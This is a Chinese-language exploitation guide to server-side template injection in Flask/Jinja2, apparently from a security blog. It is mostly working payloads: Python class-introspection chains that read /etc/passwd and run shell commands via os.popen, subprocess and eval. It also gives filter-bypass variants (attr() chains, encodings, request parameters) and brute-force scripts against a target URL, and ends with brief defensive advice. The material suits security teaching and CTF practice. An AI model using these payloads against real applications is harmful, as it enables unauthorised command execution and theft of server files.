关于SSTI注入的二三事
字数 1137 2025-08-29 08:32:01
SSTI(服务端模板注入)深入分析与利用指南
1. SSTI基础概念
1.1 什么是SSTI
SSTI(Server-Side Template Injection)即服务端模板注入,是由于接受用户输入而造成的安全问题,与SQL注入有相似性。其本质在于服务器端接受了用户的输入,未经充分过滤就将用户输入作为Web应用模板的一部分,在编译渲染过程中执行了恶意代码。
1.2 模板与模板引擎
模板是一段包含可动态替换部分的文本,如print("hello{username}")。模板引擎的作用是将业务数据填充到模板中,生成特定文档(如HTML)。
2. Flask-Jinja2 SSTI利用
2.1 关键魔术方法
-
__class__:查看变量所属的类>>> ''.__class__ <type 'str'> -
__bases__:查看类的基类>>> ().__class__.__bases__ (<type 'object'>,) -
__mro__:获取类的调用顺序>>> ''.__class__.__mro__ (<class 'str'>, <class 'object'>) -
__subclasses__():查看当前类的子类列表>>> ''.__class__.__bases__[0].__subclasses__() [<class 'type'>, <class 'weakref'>, ...] -
__globals__:返回函数全局变量的字典引用func.__globals__ -
__builtins__:查看所有内建函数__builtins__.eval
2.2 利用链构建
基本思路:
- 找到父类
<type 'object'> - 寻找子类
- 查找命令执行或文件操作模块
示例:
# 获取object类
''.__class__.__mro__[-1] # 或 ''.__class__.__base__
# 获取所有子类
''.__class__.__mro__[-1].__subclasses__()
# 查找可利用的子类
''.__class__.__mro__[-1].__subclasses__()[40] # 如file类
3. 文件读取与命令执行
3.1 Python2环境
文件读取:
[].__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()
命令执行:
# 使用os模块
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
# 使用subprocess
''.__class__.__mro__[2].__subclasses__()[258]('ls', shell=True, stdout=-1).communicate()[0]
3.2 Python3环境
文件读取:
().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()
命令执行:
# 使用eval
().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
# 使用循环查找catch_warnings
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}
{% endif %}
{% endfor %}
4. 绕过技术
4.1 关键字绕过
-
拼接绕过:
'o'+'s' # 代替'os' -
编码绕过:
- Base64:
'b3M='.decode('base64') # 'os' - Unicode:
'\u006f\u0073' # 'os' - Hex:
'\x6f\x73' # 'os'
- Base64:
-
引号绕过:
fl""ag # 代替flag -
join()函数:"fla".join("/g") # "/flag"
4.2 特殊字符绕过
-
中括号
[]:__getitem__(0) # 代替[0] -
下划线
_:request.args # 通过请求参数传递 -
点
.:|attr("__class__") # 代替.__class__ -
大括号
{{:{% if ... %}...{% endif %}
4.3 综合绕过示例
过滤了.、[]、_:
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
过滤引号:
# 使用request.values
{{lipsum.__globals__.os.popen(request.values.cmd).read()}}&cmd=ls
过滤数字:
# 使用全角数字
().__class__.__bases__[0].__subclasses__()[132]
5. 实用脚本
5.1 查找子类索引
import requests
for i in range(500):
url = f"http://target/?name={{''.__class__.__bases__[0].__subclasses__()[{i}]}}"
res = requests.get(url)
if 'FileLoader' in res.text:
print(i)
5.2 字符构造脚本
import requests
url = "http://target/?name={{config.__str__().__getitem__(%d)}}"
payload = "cat /flag"
result = ""
for j in payload:
for i in range(0,1000):
r = requests.get(url % i)
location = r.text.find("<h3>")
word = r.text[location+4:location+5]
if word == j:
result += f"config.__str__().__getitem__({i})~"
break
print(result[:-1])
6. 常见利用类
-
文件操作类:
- Python2:
<type 'file'>(通常索引40) - Python3:
_frozen_importlib_external.FileLoader
- Python2:
-
命令执行类:
warnings.catch_warningssubprocess.Popenos._wrap_close
-
内置函数类:
__builtins__.eval__builtins__.open
7. Flask特殊对象
-
url_for:url_for.__globals__['__builtins__'] -
config:config.__class__.__init__.__globals__['os'] -
lipsum:lipsum.__globals__.os.popen('ls').read() -
request:request.args.x1 # GET参数 request.values.x1 # 所有参数 request.cookies # Cookie参数
8. 防御建议
- 避免直接将用户输入作为模板
- 使用安全的模板渲染方式
- 对用户输入进行严格过滤
- 禁用危险的Python内置函数
- 使用沙箱环境执行模板
通过深入理解这些技术点,可以有效地识别和利用SSTI漏洞,同时也能够更好地防御此类攻击。